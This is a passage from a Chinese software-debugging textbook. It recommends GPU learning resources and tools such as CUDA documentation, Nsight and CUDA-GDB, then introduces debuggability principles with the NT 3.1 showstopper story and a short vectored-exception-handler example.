常宝贵的学习资料,它的篇幅也是300余页,不过只有前100页是正文
(分5章),后面都是附录。第1章是简介,对背景稍作介绍。第2章涉
及编程模型,介绍了算核、线程组织结构和内存组织结构等重要概念。
第3章名为“编程接口”,介绍了nvcc编译器、CUDA运行时库,以及计算
模式等。第4章名为“硬件实现”,介绍了单指令多线程(SIMT)架构,
以及硬件和线程并行模型。第5章对如何提高性能给出了一些基本的指
导意见。
上面两个资料都是偏向软件的,如果希望多了解一些硬件细节,那
么经典的G965手册是最好的入门资料。第11章曾经反复提到过这个手
册,它分为4卷,比较系统地涵盖了现代GPU的四大功能:显示、
2D/3D、媒体和GPGPU。第4卷的EU部分最值得细读。
14.5.2 源代码
有人说,源代码就是非常好的文档。这句话虽然有失偏颇,但是读
源代码确实也是一种高效的学习方式。直接读技术手册难免枯燥,而且
不知哪里是实,哪里是虚。看了代码后,很多理论就落到了实处。
首先,CUDA工具包里包含很多的示例程序,包含完整的源代码和
项目文件,很容易编译和执行。建议试着运行感兴趣的例子,再中断到
调试器,然后结合调试器里的状态信息理解源代码。
其次,英特尔和AMD在GitHub上的开源项目都是宝贵的学习资
源,这些在前面各章分别提到过。如果希望深入理解GPU编译器的工作
原理,那么英特尔开源的几个编译器是优秀的资料。如果希望理解GPU
调试器的工作原理,那么可以结合本书ROCm GDB的内容阅读它的源代
码。
如果希望理解GPU驱动程序的细节,那么VirtualBox开源代码中包
含了比较完整的GPU驱动源代码,有Windows版本,也有Linux版本,
有KMD,也有UMD。特别是Windows版本很宝贵,因为大多数显卡厂
商都不公开Windows版本的驱动源代码。
14.5.3 工具
阅读文档和源代码都容易疲倦。与实践结合可以让学习过程变得生
动而有趣。建议选择一个硬件平台,安装好必要的驱动程序和工具,然
后一边学习理论,一边实践。
首先推荐CUDA工具集中的Nsight,第9章曾反复提到过这个工具。
它以IDE插件的形式工作,既支持Visual Studio,也支持Eclipse。Nsight
提供了一系列调试、错误检查和优化功能。它既支持传统的图形调试,
也支持CUDA调试。它的CUDA调试功能稳定强大,是学习CUDA和理
解GPGPU的有力助手。
在安装好Visual Studio的环境中,安装CUDA工具包(CUDA
Toolkit),安装好后启动Visual Studio,就有Nsight菜单了。打开CUDA
工具包中的一个示例项目,比如曼德罗(Mandelbrot)分形图形程序。
选择一个算核函数,按F9键在其中设置一个断点,单击Nisght→Start
CUDA Debugging就可以调试了。片刻之后,断点命中,大量的GPU细
节呈现在眼前,如图14-3所示。
图14-3中,左侧偏上是反汇编窗口,只要使用Visual Studio的菜单
(调试→窗口→反汇编)就可以将其调出,其中同时显示了CUDA C源
程序、PTX中间指令和SASS硬件汇编三种语言的代码,很适合对照学
习。中间是寄存器窗口,可以观察硬件寄存器的情况。右侧偏上是著名
的CUDA Info窗口,可以打开多个实例,观察多种信息,图中显示的是
WARP状态,每行描述一个WARP。CUDA Info窗口下面是GPU程序的
栈回溯,反映了GPU函数的调用经过。再看下面的两个窗口,左侧是局
部变量窗口,除了应用程序自己定义的变量外,还包括CUDA的内置变
量;右侧是断点管理窗口。
图14-3 在Nsight中理解CUDA和GPU
对于Linux环境或者需要远程调试的场景,CUDA-GDB是个很好的
选择。CUDA-GDB具有Nsight的大多数调试功能,包括断点、跟踪和观
察各类信息。这曾在第9章介绍过,在此不再细谈了。
正如本书多次提及的,今天GPU还严重依赖CPU。很多逻辑都与
CPU端的代码有着这样那样的联系。因此,理解CPU端的软件栈也很重
要。WinDBG和GDB是这方面的强大武器,本书后续分卷将详细介绍这
两个工具。
14.6 本章小结
本章旨在对前面5章分开介绍的内容加以总结,让读者的思路从分
散状态聚合起来,实现GPU篇的“总分合”结构:开始有总论,中间有分
论,最后再汇合到一起。
本篇内容是专为本书第2版新增的。写作这部分书稿的实际工作量
远远超出了最初的估计,导致出版计划多次延期。如果这部分内容可以
帮助读者在GPU时代占据领先位置,那么延期也是值得的。
参考资料
[1] VideoCore IV 3D Architecture Reference Guide.
[2] Open Source drivers for Vivante GPU's.
[3] TMS34010 Product Specs.
第四篇 可调试性
前面两篇分别探讨了CPU和GPU的调试设施,其中有些用于调试硬
件本身,有些用于调试上层软件。
无论是硬件还是软件,当它的复杂度较高时,它的可调试性就变得
非常重要。概言之,一个硬件或者软件部件的可调试性
(debuggability)就是指它容易被调试的程度,或者说当这个部件发生
故障时,调试人员可以多方便或多快地寻找到问题的根源。如果上升到
成本和费用的层次,那么可调试性就是调试这个部件所需成本的倒数。
调试代价越高,可调试性越差;调试代价越低,可调试性越好。第15章
将详细讨论可调试性的内涵、外延和衡量标准。
如果把软件或者硬件故障比喻成“灾害”,则提高它的可调试性就是
增强它抵御灾害的能力。在如何应对灾害方面,古人留给我们一个非常
好的成语:未雨绸缪。这个成语源于我国最早的诗歌总集《诗经》,其
中有一首著名的寓言诗《鸱鸮(chī xiāo)》,原诗如下。
鸱鸮
鸱鸮鸱鸮,既取我子,无毁我室。恩斯勤斯,鬻(yù)子之闵斯。
迨天之未阴雨,彻彼桑土,绸缪(móu)牖(yǒu)户。今女下
民,或敢侮予?
予手拮据,予所捋荼。予所蓄租,予口卒瘏,曰予未有室家。
予羽谯谯,予尾翛翛,予室翘翘。风雨所漂摇,予维音哓哓!
这首诗以一只被猫头鹰(鸱鸮)夺去幼鸟的母鸟的口气叙述了它重
建鸟巢时的所想和所感:“猫头鹰夺取了我的幼鸟,再不能毁坏我的鸟
巢。我辛苦养育(鬻)儿女,已经病(闵)了。趁着天还未阴雨,我啄
取桑根,缚紧(绸缪)巢的缝隙(牖本指窗,户指门)……”
未雨绸缪的道理对计算机系统的开发也是适用的,它告诉我们应该
在设计阶段就为调试做好准备,否则等故障出现了,就会措手不及,甚
至为时晚矣!这种在设计时就考虑调试的思想经常称为Design For
Debug(DFD)或Design Better, Debug Faster。
对于较大型的项目,要做到DFD并不单单是某个角色(比如程序
员)的事情,它需要整个团队所有成员的共同努力。这是提高可调试性
的一个重要原则。要把提高可调试性纳入到计算机项目的每个环节当
中,使其成为所有团队成员的目标。第16章将详细讨论如何在项目中贯
穿可调试性思想,提高整个项目的可调试性。
硬件的可调试性和软件的可调试性是有关联的,常常是相互影响
的。从实现的方法来看,很多原则也是通用的。本篇侧重讨论可调试性
的一般原则,为了行文方便,当难以兼顾软硬件两者时,多以软件为例
展开讨论。
第15章 可调试性概览
本章将先介绍软件可调试性的概念(见15.1节)和意义(见15.2
节),然后讨论实现可调试性的基本原则(见15.3节)。15.4节将从反
面讨论不可调试代码对可调试性的危害,15.5节将分析Windows系统中
所包含的可调试设计,15.6节将探讨在实现可调试性时应该注意的问
题。
15.1 简介
在计算机硬件领域,人们很早就开始重视系统的可调试性。以著名
的UNIVAC计算机为例,系统内部有专门的错误检测电路,控制面板上
有多个提示错误的指示灯,操作手册有对这些设施的详细介绍。通过这
些设施,人们可以很方便地了解内部电路或元器件的状态,如果出现故
障,可以比较迅速地找到原因并排除故障。人们把这些支持检修和调试
的设计统称为Design For Test或Design For Testability(DFT)。这里的
测试一词(Test)显然包含了调试(Debug)的含义,于是逐渐地有人
开始使用Design For Debug或Design For Debuggability(DFD)来称呼可
调试设计。
随着大规模集成电路的出现,人们开始更加重视可调试性。很多芯
片设计厂商开始在芯片中加入支持调试的机制,并着手建立行业标准,
以便让多个芯片组成的系统也具有很好的可调试性。1990年,多家厂商
联合制定了JTAG标准并得到IEEE的批准,并从此得到业界的广泛接受
(详见7.1.2节)。
2005年6月13日,DFD联盟(Design-for-Debug Consortium)成立,
其宗旨就是要解决集成芯片领域的调试(silicon debug)问题。DFD联
盟的成员包括Corelis公司、DAFCA公司、First Silicon Solutions(FS2)
公司、Intellitech公司、JTAG Technologies公司、Fidel Muradali公司和
Novas Software公司等。
从以上介绍可以看到,在电子、电路和芯片设计生产等领域,可调
试设计已经发展多年,并且得到了广泛的重视,应用得也比较好。在今
天的很多集成芯片中,都可以找到调试支持,比如JTAG扫描和
BIST(Built-In Self Test)。
与硬件领域相比,软件方面的可调试性还没有得到足够的重视。从
行业标准角度来看,目前尚没有专门针对提高软件可调试性的标准,有
关的两个标准如下[1]。
DMTF(Distributed Management Task Force)组织发起的公共诊断
模型(Common Diagnostic Model,CDM)。CDM是对DMTF的
CIM(WMI的基础)的扩展,旨在指导软件实现标准的诊断支持,
以便可以通过统一的方式发现和执行诊断功能,提取诊断信息。
DMTF的基于Web的企业管理(Web-Based Enterprise Management)
标准,简称WBEM,这个标准不是专门针对调试设计的,但是其中
的分布式管理方法有利于收集软件的执行状态,提高软件的可调试
性。
从工具角度来看,尽管以下方面的努力已经持续了很久,但是软件
领域中还没有像硬件领域中诸如示波器和分析仪那样成熟的工具来测量
软件。目前使用的方法主要有以下两类。
程序插桩(program instrumentation),即通过向程序中加入测量代
码(instrumented code)来收集软件的执行路径和状态信息,以实
现观察、记录和寻找错误(调试)等目标。插入测量代码的方法有
在编译期插入和在执行期动态插入等多种方法。
采样(sampling),即先通过工具软件在被分析软件运行的环境中
收集事件样本,统计其在某个时间段内的活动资料,比如内存分配
和释放及执行轨迹等,然后使用这些资料来发现内存使用方面的问
题或寻找运行为调优(Tuning)提供信息。采样可以使用操作系统
提供的事件追踪设施,也可以使用CPU提供的监视功能,比如第5
章介绍的分支记录和性能监视机制。
从工程实践的角度来看,目前最有效的还是在设计软件中规划出支
持调试的各种机制,并将其实现在软件代码中。这也是本篇重点讨论的
方向——在软件开发过程中考虑并实现软件的可调试性。
15.2 观止和未雨绸缪
在戏剧和表演方面,人们使用观止(Showstopper)一词来形容令
人拍手叫绝的精彩演出,它被观众的掌声和喝彩声打断,不得不停下来
等人们安静后才能再继续。
在日常生活中,观止也是一个很好的词,人们用它来形容超乎寻常
地美丽和迷人……
但在这个词被引入到计算机特别是软件领域后,它的含义发生了根
本性的变化,它代表的是最严重的问题(Bug)。这样的问题会使整个
项目停滞不前,这样的问题解决不了,产品就不可能发布……
15.2.1 NT 3.1的故事
NT 3.1是Windows NT系列操作系统的第一个版本,Windows
2000、XP、Server 2003和Vista都来源于它。可以说,NT 3.1的很多经典
设计还一直保留在今天的Windows系统中,也正是这些经典设计为NT系
列操作系统的成功打下了坚实基础。
1988年10月31日NT内核之父David Cutler加入微软,11月正式成立
NT开发团队,从那时算起,到1993年7月26日NT 3.1发布,NT 3.1的开
发时间经历了4年零9个月。在这4年多时间里,NT 3.1开发团队从最初
的6人增加到结束时的200人左右。
在我的案边,有一本书生动翔实地记录了NT 3.1的开发过程,作者
是G. Pascal Zachary,书名是《观止》(《Showstopper》)[2],这个书
名以红色字体赫然印在封面上,格外显眼(见图15-1)。
图15-1 记录NT 3.1开发过程的经典之作——《观止》
除了书名之外,这本书中第 10 章的标题也叫“观
止”(Showstopper),这一章记述了NT 3.1发布前约半年的时间里NT团
队与Showstopper战斗的历程。下面这些情节特别值得回味。
1993年2月28日,计划发布Beta 2的日子,这一天还有45个
Showstopper级别的问题困扰着整个团队,如此多的Showstopper是不符
合发布标准的。
1993年3月8日,NT 3.1的Beta 2发布,并将最终版本的发布时间定
在5月10日。但在接下来的几周内,Showstopper和1号优先级的问题迅
猛出现,到4月19日,已达到令人不安的448个问题。
1993年4月23日,因为还有361个严重问题和近2000个其他问题,
David Cutler不得不取消了5月10日的发布计划,通过电子邮件告诉团队
成员最终版本的发布日期推迟到6月7日。
接下来的一两个月里,很多人经历了不眠之夜,努力修复自己负责
的Bug(特别是Showstopper)。能成功将自己拥有的Bug数降为0的人可
以穿上“Zero Bug”衬衫。
1993年7月9日,Showstopper的数量终于降低到十几个。7月16日,
NT的第509个版本被投入到最后的紧张测试中,这是1993年的第170个
版本。这样的版本编号一直延续到今天,Windows XP的发布版本使用
的编号是2600,Windows Vista的发布版本使用的编号是6000。
1993年7月23日(周五),David Cutler召集了NT 3.1开发历史上的
最后一次早9点会议。团队成员都意识到离项目结束已经很近,对其充
满期待。但是负责测试工作的Moshe Dunnie描述了一个与Pagemaker 5有
关的Showstopper,为NT的最后发布又添加了未知性。
为了解决这个最后的Showstopper,Dunnie从7月23日早晨一直工作
到7月24日夜里10点。Dunnie首先怀疑是字体和打印方面的问题,并请
这方面的工程师来进行调试,但是到中午时,这个怀疑被排除了。于是
Dunnie把希望转到图形(graphics)方面,几个工程师开始一行行地跟
踪图形方面的代码,艰苦的调试工作持续到夜里10点之后,终于发现了
一个问题,并在10min内修正了相关的代码。但是问题并没有完全解
决,当Pagemaker打印时,还是会占用非常多的内存并且极其缓慢。这
时已经是第二天(周六)的凌晨2点。Dunnie找到了Pagemaker的设计者
一同解决问题。第二天上午,终于发现了Pagemaker程序中的问题。考
虑到最终用户并不知道是NT的问题还是应用软件的问题,这个团队决
定在图形代码中加入一个标志来兼容Pagemaker程序。接下来是谨慎的
修改和严格的测试,直到确认测试通过后,团队成员才走出了办公室,
这时已经是第二天的夜里10点。
又经历了41小时的不停测试后,NT 3.1发布并送给工厂制作副本,
当时的时间是1993年7月26日下午2:30。
从上面的叙述可以看出,在NT 3.1开发的最后约半年时间内,解决
Showstopper已经成为整个开发团队的1号任务,也是决定产品能否发布
的最关键指标。
除了对项目发布日期的影响之外,Showstopper还会大量浪费团队
的资源,增加整个项目的成本。另外,项目的参与人员越多,影响也越
大,因为一个Showstopper可能导致团队中大多数人都陷入等待状态,
直到这个Showstopper被铲除。
15.2.2 未雨绸缪
在软件开发领域,像开发NT 3.1那样与Showstopper斗争的故事应该
有很多很多,而且某些可能更精彩和激烈。或许可以说,每个夜晚都有
疲倦的眼神在跟踪冗长的代码,寻找问题的根源。
与NT 3.1的故事类似,很多软件项目延期与存在大量Showstopper直
接相关。而解决Showstopper的关键是寻找问题的根源。对于很多问
题,如果找到了根源,那么解决起来通常非常简单。NT 3.1的最后一个
Showstopper也证明了这一点,寻找问题根源用去了十几个小时,修正
代码只花了10min。
通常一个软件的Beta版本已经包含了所有功能的实现。那么,从此
之后最核心的问题就是发现和修正错误,甚至有人把从Beta开始到软件
发布这一段时间叫作调试阶段。NT 3.1的第一个Beta版本是在1992年10
月12日发布的,到次年7月发布最终版本,又经历了9个多月的时间,这
相当于全部开发时间的9/57 = 16%。Windows Vista的Beta 1在2005年7月
27日发布,正式版本(Volume Licence客户)在2006年12月发布,其间
经历了大约17个月,约占总开发时间的17/67 = 25%。可见,花在Beta阶
段的时间占整个开发周期的比重是比较高的,而且这一阶段也往往是一
个项目最紧张的时候。紧张的原因有很多,时间压力当然是一个方面,
另一方面就是很多问题难以解决。因为在Beta阶段主要定位和修正错
误,所以提高调试效率是这一阶段成功的关键。
高效调试是一项系统工程,除了系统提供好的调试支持外,被调试
软件的可调试性也是至关重要的。要实现好的可调试性,应该从软件的
设计阶段就开始为软件调试做准备,然后把它贯彻到整个项目的实施过
程中。这样就可以在相对比较宽松的项目前期为紧张的调试阶段打下比
较好的基础。相反,如果平时不做准备,那么等问题出现了就要花更多
的时间,并且所需的时间变得难以估算。另外,因为很多问题是在邻近
产品发布时才出现的,所以时间非常紧迫,调试时的压力也很大。这与
未雨绸缪的经验恰好吻合,在下雨之前要把基础设施建好,不要等风雨
来临时叫苦不迭。
15.3 基本原则
软件调试是一项难度较大、复杂度较高的脑力劳动,很多时候为了
解决一个问题要付出数小时乃至数天的探索和努力。因此,提高软件可
调试性的宗旨就是要降低软件调试的难度,使软件易于被调试。软件调
试中难度最大的部分通常是寻找导致问题的根源(root cause)。那么,
降低软件调试的难度也就是要让被调试软件可以更容易地诊断和分析,
让其中的问题更容易发现。基于这一思想,我们归纳出了以下几个原则
以提高软件的可调试性。
15.3.1 最短距离原则
简言之,最短距离原则是指使错误检查代码距离失败操作的距离最
短。
这一原则的目标是及时检测到异常情况。换言之,哪里可能有失
败,哪里就做检查。举例来说,某个类的Init方法调用Load方法来从配
置文件中读取设置并初始化成员变量。因为配置文件丢失,Load方法读
取文件失败,但它没有及时检查到失败情况,并“成功”返回,而后Init
方法在使用没有正确初始化的成员变量时导致错误。对于这样的情况,
错误的第一现场被错过了,这会增加调试的难度。
遵循最短距离原则要求程序员编写足够多的错误检查代码。如果只
有一两个错误检查,那么是很难做到覆盖程序中所有错误情况的。有些
程序员不喜欢编写错误检查代码,很少做错误检查,这是应该纠正的。
15.3.2 最小范围原则
简言之,最小范围原则是指使错误报告或调试信息所能定位到的范
围尽可能小。
换句话说,就是让调试人员可以利用调试信息精确地定位到某个代
码位置,或者某个条件,以加快发现问题根源的速度。如果调试信息非
常空泛,或者模棱两可,那么这样的信息所提供的帮助便可能很有限,
甚至产生误导作用。比如有些程序员输出调试信息时经常只包含一
个“error”或“abnormal”,这样的信息聊胜于无。
最小范围原则的另一个例子是BIOS程序所使用的Post Code。BIOS
代码是CPU复位后最先执行的代码,此时还不能通过日志文件或窗口等
方式来报告错误。因此,BIOS软件使用的典型方式是向0x80端口输出
一个称为Post Code的整数。每个Post Code值代表某一个代码块,或者一
类错误。如果启动失败,那么可以从最后一个Post Code值来推测失败原
因和执行位置。通过供调试用的Post Code接收卡(插在主板上)可以接
收到Post Code。某些BIOS也会将Post Code输出在屏幕上,以方便调
试。Post Code的取值应该是精心编排的,为不同的代码块分配不同的代
码范围,每个代码具有明确的含义,这样便有利于通过Post Code值反向
追溯到相关的代码。类似地,当我们编写驱动程序和应用软件时,也应
该合理地规划返回值和错误代码,尽可能使每个错误代码有明确的范围
和含义,以便使用它可以比较精确地定位到导致错误的代码。
对于使用文字(字符串)来报告错误和调试信息的情况,应该力争
在文字中提供尽可能多而且精确的信息,使不同地方产生的错误描述能
够相互区分,这样可以很容易缩小分析范围,提高调试效率。如果很多
个函数产生的错误信息都是一样的,那么依靠这样的错误信息仍然难以
判断出是哪里出了问题。从这一角度来说,本原则也可以称为信息唯一
性原则。
15.3.3 立刻终止原则
简言之,立刻终止原则是指当检测到严重的错误时,使程序立刻终
止并报告第一现场的信息。
这一原则的一个典型应用就是操作系统的错误检查(Bug Check)
机制,比如Windows操作系统的蓝屏死机(Blue Screen Of Death,
BSOD)机制。蓝屏死机机制可以让系统在遇到危险情况时以可控的方
式停止,防止继续运行可能造成的更大损失。如第13章所介绍的,一旦
内核中的代码发起蓝屏死机,那么系统便立刻停止运行用户态代码和一
切例行工作(文件服务等),只以单线程方式记录和报告错误。另外,
使整个系统终止在发现错误的第一现场有利于分析错误发生的原因。因
为如果让系统继续执行很多任务,那么执行轨迹就会偏离错误的第一现
场。如果执行其他任务又导致错误,原始的错误情况就会被掩盖起来,
为调试设置障碍。因此,这一原则也可以称为报告第一现场原则。
这个原则的另一层含义是当程序遇到错误时,应该“让错误立刻跳
出来”,而不要使其隐匿起来。以蓝屏的方式终止是使错误跳出来的一
种方式。但这种方式的代价是比较大的,系统中运行的所有程序都会戛
然而止,没有保存的文档可能会丢失。因此有人对蓝屏机制发出质疑,
但是作者认为应该从以下两方面来看待这个问题。
触发蓝屏的原因主要是发生在内核空间的错误,有时是硬件方面的
无法恢复错误,有时是某些内核模块(设备驱动程序)中的编码错
误。对于前者,立刻终止是必要的;对于后者,因为内核模块是操
作系统的信任代码,所以对其中的错误实施严厉的制裁也是可以理
解的,这不但有利于提高内核模块的质量,而且有利于抵御侵入到
内核空间的恶意软件的攻击。
作为一个通用的操作系统,应该有一套高效且通用的错误检测和报
告规则,这套机制的主要目标是及时检测到错误,精确报告错误的
第一现场,以便可以准确地定位到导致错误的软硬件模块,然后报
告给这些部件的开发者。从这个角度来衡量,蓝屏机制是合理而且
有效的。
对于应用软件,应该根据软件的特征制订错误报告策略,根据错误
的严重级别决定应该继续执行还是停止运行。
15.3.4 可追溯原则
简言之,可追溯原则是指使代码的执行轨迹和数据的变化过程可以
追溯。
所谓可追溯(Tracable),对于代码,就是可以查找出当前线程是
如何运行到这个代码位置的。对于数据(变量),就是可以知道它的值
是经历了什么样的变化过程而成为当前值的。
很多时候,尽管我们知道了错误发生的位置,如某个模块的某个函
数,但是仍然无法理解它为什么会出错。因为这个函数本身可能根本没
有错误,发生错误是因为其他函数不应该在当前情况下调用它,或者传
递给它的参数有错误。举例来说,很多内核函数只能在特定的中断请求
级别(IRQL)下执行,如果某个驱动程序在不满足这个条件的情况下
调用这些函数,就会发生错误。但这时只知道发生错误的位置是不够
的,还必须有信息可以追溯函数的调用过程,寻找发起错误调用的那个
函数和它所属的驱动程序。
追溯代码执行轨迹最有效的技术就是利用栈中的栈帧信息来生成栈
回溯(Stack Backtrace)序列。根据第1章的介绍,当A函数调用B函数
时,函数调用指令(如call)会自动将函数B执行后的返回地址(函数A
中call指令之后的那条指令的地址)压入到栈中。以此类推,当函数B调
用C时,栈中也会记录下从函数C返回函数B的地址。根据这样的信息,
就可以产生调用函数C的过程(A→B→C),也就是程序执行到函数C
的轨迹。几乎所有调试器都提供了产生栈回溯信息的功能,比如
WinDBG的k系列命令、GDB调试器的bt(Backtrace的缩写)命令和
Visual Studio调试器的“调用栈”(Call Stack)窗口。
因为只有正确地找到每个函数的栈帧,才能据此找到它的返回地
址,所以对于使用了帧指针省略(FPO)的函数,必须依靠调试符号中
记录的FPO信息才能找到其栈帧。如果没有调试符号,那么回溯序列中
就会缺少调用这个函数的记录。因此,禁止编译器对函数做FPO优化有
利于调试。在代码中通过编译器指令(directive)可以禁止使用FPO。
举例来说,如果在源程序文件中加入#pragma optimize( "y", off ),那么
这个指令后的函数就不会被FPO优化,直到再开启FPO为止。Windows
Vista的大多数模块都不再使用FPO。
迄今为止,还没有非常方便而且开销低的方法来实现数据的可追溯
性。因为要给变量赋一个新的值,便会覆盖掉它以前的值。要想记住旧
的值,必须先保存起来,这必然需要额外的时间和空间开销。以下是几
种可能的解决方案。
第一,通过日志(log)的方式将变量的每个值以文件或其他方式
记录下来。
第二,如果允许使用数据库,那么可以利用数据库本身的功能或编
写脚本记录一个字段每次的取值。
第三,编写专门的类,为要追溯的数据定义用于记录其历史取值的
环形缓冲区,重载赋值运算符。当每次赋值时,先将当前值保存在缓冲
区中。
第16章将进一步讨论实现可追溯性的方法,并给出一些演示性的代
码。
15.3.5 可控制原则
简言之,可控制原则是指通过简单的方式就可以控制程序的执行轨
迹。
软件功能的可控性(controllability)和灵活性(flexibility)是软件
智能的重要体现,对于软件调试也有重要意义。就调试而言,可控性意
味着调试人员可以轻易地调整软件的执行路线,使其沿着需要跟踪和分
析的路线执行。很多时候,测试人员报告软件错误时会给出重现这个问
题的一系列步骤。为了发现问题的根源,调试时通常也需要沿着这些步
骤来进行跟踪和分析。但在很多情况下,调试环境与用户环境可能有较
大的差异。比如某个问题只发生在1GB内存的情况下,而调试环境为
2GB内存。这时一种方法是更换内存或寻找1GB内存的系统,但如果被
调试的系统(操作系统)支持通过配置选项来指定只使用1GB的内存,
就方便得多。Windows操作系统中启动配置文件中的/MAXMEM选项恰
好提供了这样的功能。
与可控制原则有关的一个原则是可重复原则。
15.3.6 可重复原则
简言之,可重复原则是指使程序的行为可以简单地重复。
这一原则的初衷是可以比较简单地重复执行程序的某个部分或整
体。因为在调试过程中,很多时候我们要反复跟踪和观察某段代码才能
发现其中的问题。如果每次重新执行都需要大量烦琐的操作,那么必然
会影响调试的效率。举例来说,如果要重新执行某个函数,就需要重新
启动一次计算机,或者要复位很多其他关联的程序,那么这就是有悖于
可重复(repeatable)原则的。
对于某些与硬件协同工作的软件,重复某个操作的成本可能很高。
以用于医疗等用途的图像采集和分析软件为例,让硬件反复拍摄照片是
有较大开销的。这时,可以考虑使用模拟程序来伪装硬件,这样程序员
在调试时就不必担心反复运行的次数。当然,模拟器并不能完全代替真
实的硬件,在模拟器上运行没有问题后还是应该测试与真实硬件一起工
作的情况。
可重复原则的一个隐含要求是每次重复执行时,程序的执行行为应
该是有规律的。这个规律越简单就越有利于调试,如果这个规律比较复
杂,那么它应该是调试人员所能理解并可控制的。举例来说,某些软件
会记录是否是第一次运行。如果是,就做很多初始化操作;如果不是,
便跳过初始化过程。依据本原则,调试人员应该总是可以通过简单的操
作就模拟第一次执行的情况,以便反复跟踪这种情况。如果执行过一
次,一定要重新安装这个软件(甚至整个系统)才能再次跟踪初始化过
程,那么就会影响调试的效率。
15.3.7 可观察原则
简言之,可观察原则是指使软件的特征和内部状态可以方便地观
察。
这一原则的目的是提高软件的可观察性(observability),让调试
人员可以方便地观察到程序的静态特征和动态特征。静态特征包括文件
(映像文件、源文件、符号文件和配置文件等)信息、函数信息等。动
态特征是指处于运行状态的软件在某一时刻的属性,包括程序的执行位
置、变量取值、内存和资源使用情况等。
可观察性的好与坏通常是相对的,根据达到观察目的所需要的“成
本”,可以初步分成如下一些级别。
不需要任何额外工具,通过软件自身提供的功能就可以观察到。
借助软件运行环境中的通用工具可以观察到,比如操作系统的文件
浏览工具和文件显示工具。
借助通用的调试器和其他通用工具可以观察到。
购买和安装专门的软硬件工具才可以观察到。
只有安装被调试软件的特殊版本才可以观察到。
以上几点基本上是按可观察性从高到低的顺序来编排的。高可观察
性有利于发现系统的状态和可能存在的问题,便于调试。尤其是当软件
故障发生时的动态特征对于调试特别有意义。但是以所有用户都可以访
问的方式来显示过多的内部信息可能存在泄露技术和商业秘密等风险。
因此,比较好的做法是根据用户的身份来决定哪些信息对其是可见的。
15.3.8 易辨识原则
简言之,易辨识原则是指可以简单地辨识出每个模块乃至类或函数
的版本。
版本错误是滋扰软件团队的一个古老话题,某些时候,花了很大工
夫得出的唯一结论就是使用的版本不对。为了防止这样令人哭笑不得的
事情发生,设计和编码时就应该重视版本问题,提高每个软件模块的可
辨识性(identifiability)。比如,有固定的版本记录机制,并及时更新
其中的版本信息,通过一种简单的方式就可以访问到这个信息等。
15.3.9 低海森伯效应原则
简言之,低海森伯效应原则是指在提高可调试性时应该尽可能减小
副作用,使海森伯效应最低。
海森伯效应(Heisenberg Effect)来源于德国著名物理学家沃纳·海
森伯(Werner Heisenberg)的不确定原理(Uncertainty Principle)。这
个原理指出不可能同时精确地测量出粒子的动量和位置,因为测量仪器
会对被测量对象产生干扰,测量其动量就会改变其位置,反之亦然。不
确定原理也称为测不准原理,即测量的过程会影响被测试的对象。换句
话说,因为海森伯效应的存在,测量的过程会影响被测量对象从而使测
量结果不准确。
在计算机领域,人们把调试时可以稳定复现的错误称为波尔错误
(Bohr Bug),把无法复现或调试时行为发生改变的错误称为海森伯错
误(Heisen berg Bug)。因为在调试环境下无法稳定重现,所以调试海
森伯错误通常更加难以解决。
为了降低调试设施对被调试软件所造成的影响,设计调试设施的一
个根本原则就是使海森伯效应最低。换句话说,就是要使调试设施对被
调试对象的影响尽可能小,或者说二者的关系最好是互不影响,互不干
涉。但是为了实现调试设施,调试设施又必须与被调试程序建立起比较
密切的联系。也就是说,强大的调试功能要求调试设施可以便捷地访问
被调试程序,有时还要求对被调试程序有较高的可控性,这意味着二者
要建立密切的关系。而海森伯效用又要求调试设施和被调试对象的关系
不能太紧密。看来这两者之间存在着一定的矛盾,如何平衡这个矛盾是
设计调试设施时要考虑的一个关键问题。
老雷评点
低海森伯效应原则为本书第2版新增的,写于西湖孤山之西
泠印社。
本节介绍了提高软件可调试性的一些基本原则,这些原则从不同的
角度来降低软件调试的复杂度。但需要声明的是,这些原则并不是用之
四海皆准的灵丹妙药,应该根据具体项目的特征和需求制定具体的方
案。
15.4 不可调试代码
我们把调试器无法跟踪或无法对其设置断点的代码称为不可调试代
码。当然,这种不可调试性是相对于调试器而言的。比如使用软件调试
器不可调试的代码可能可以被硬件调试器调试。考虑到软件调试器是最
常用的调试工具,所以本节将先介绍几种不可被软件调试器(例如
WinDBG)调试的典型实例,然后讨论如何降低它们对调试的影响。
15.4.1 系统的异常分发函数
通常,操作系统的异常分发函数是不可以调试的,如果对其强行设
置断点或单步跟踪,那么通常会因为递归而导致被调试系统崩溃。举例
来说,当进行内核调试时,如果对Windows内核的KiDispatchException
函数设置断点,那么一旦该断点被触发,被调试系统就会自动重启。这
是因为断点事件本身也会被当作异常来分发,而当分发过程执行到
KiDispatchException函数时会再次触发断点异常,这样的死循环很快就
导致CPU复位了。
因为硬件中断需要及时确认(acknowledge),所以通常最好也不
要在中断处理例程的入口处设置断点,以防止系统无法及时确认中断,
而导致硬件反复发送中断请求,即所谓的中断风暴(interrupt storm)。
15.4.2 提供调试功能的系统函数
提供调试功能的很多系统函数是不可以调试的,因为如果这些函数
中的断点被触发后很可能会导致死循环。比如在内核调试中,对于负责
与调试器通信的nt!KdSendPacket和nt!KdReceive Packet函数,都不可以
设置断点和单步跟踪,因为发送断点事件会再次触发断点。
类似地,某些注册在调试事件循环中的函数也是不可以调试的。在
这些函数中使用与调试有关的API也需要慎重,以防止导致递归调用。
举例来说,在向量化异常处理程序(VEH)中不可以一开始就调用
OutputDebugString函数。本书后续分卷介绍OutputDebugString函数的工
作原理,简单来说,它是靠RaiseException来产生一个特殊的异常而工
作的。因此,如果在VEH中没采取任何措施就调用OutputDebugString函
数,那么OutputDebugString函数产生的异常会触发VEH再次被调用,如
此循环不断,直到栈溢出而程序崩溃。因为系统是在寻找基于帧的异常
处理器之前调用VEH的,所以应用程序错误对话框也不会弹出来,从表
面上看程序只是突然消失掉。
解决这个问题的办法是在VEH中将OutputDebugString函数所产生的
异常排除掉,然后调用OutputDebugString函数就没有问题了。
LONG WINAPI MyVectoredHandler( struct _EXCEPTION_POINTERS *ExceptionInfo )
{
// 这里调用OutputDebugString会导致死循环
if(ExceptionInfo->ExceptionRecord->ExceptionCode==0x40010006L)
return EXCEPTION_CONTINUE_SEARCH;
// 现在可以调用OutputDebugString了
OutputDebugString(_T(“MyVectoredHandler is invoked”));
// …
}
这个问题是作者在一个实际软件项目中遇到的,在产品即将发布的
最后阶段,项目中的一个主要程序突然出现问题,运行一段时间后进程
悄无声息地消失,没有错误窗口,没有征兆,经历了近一个小时的追查
后终于发现是VEH中新加入的OutputDebugString调用引起的,增加上面
代码中的判断语句后问题就解决了。
15.4.3 对调试器敏感的函数
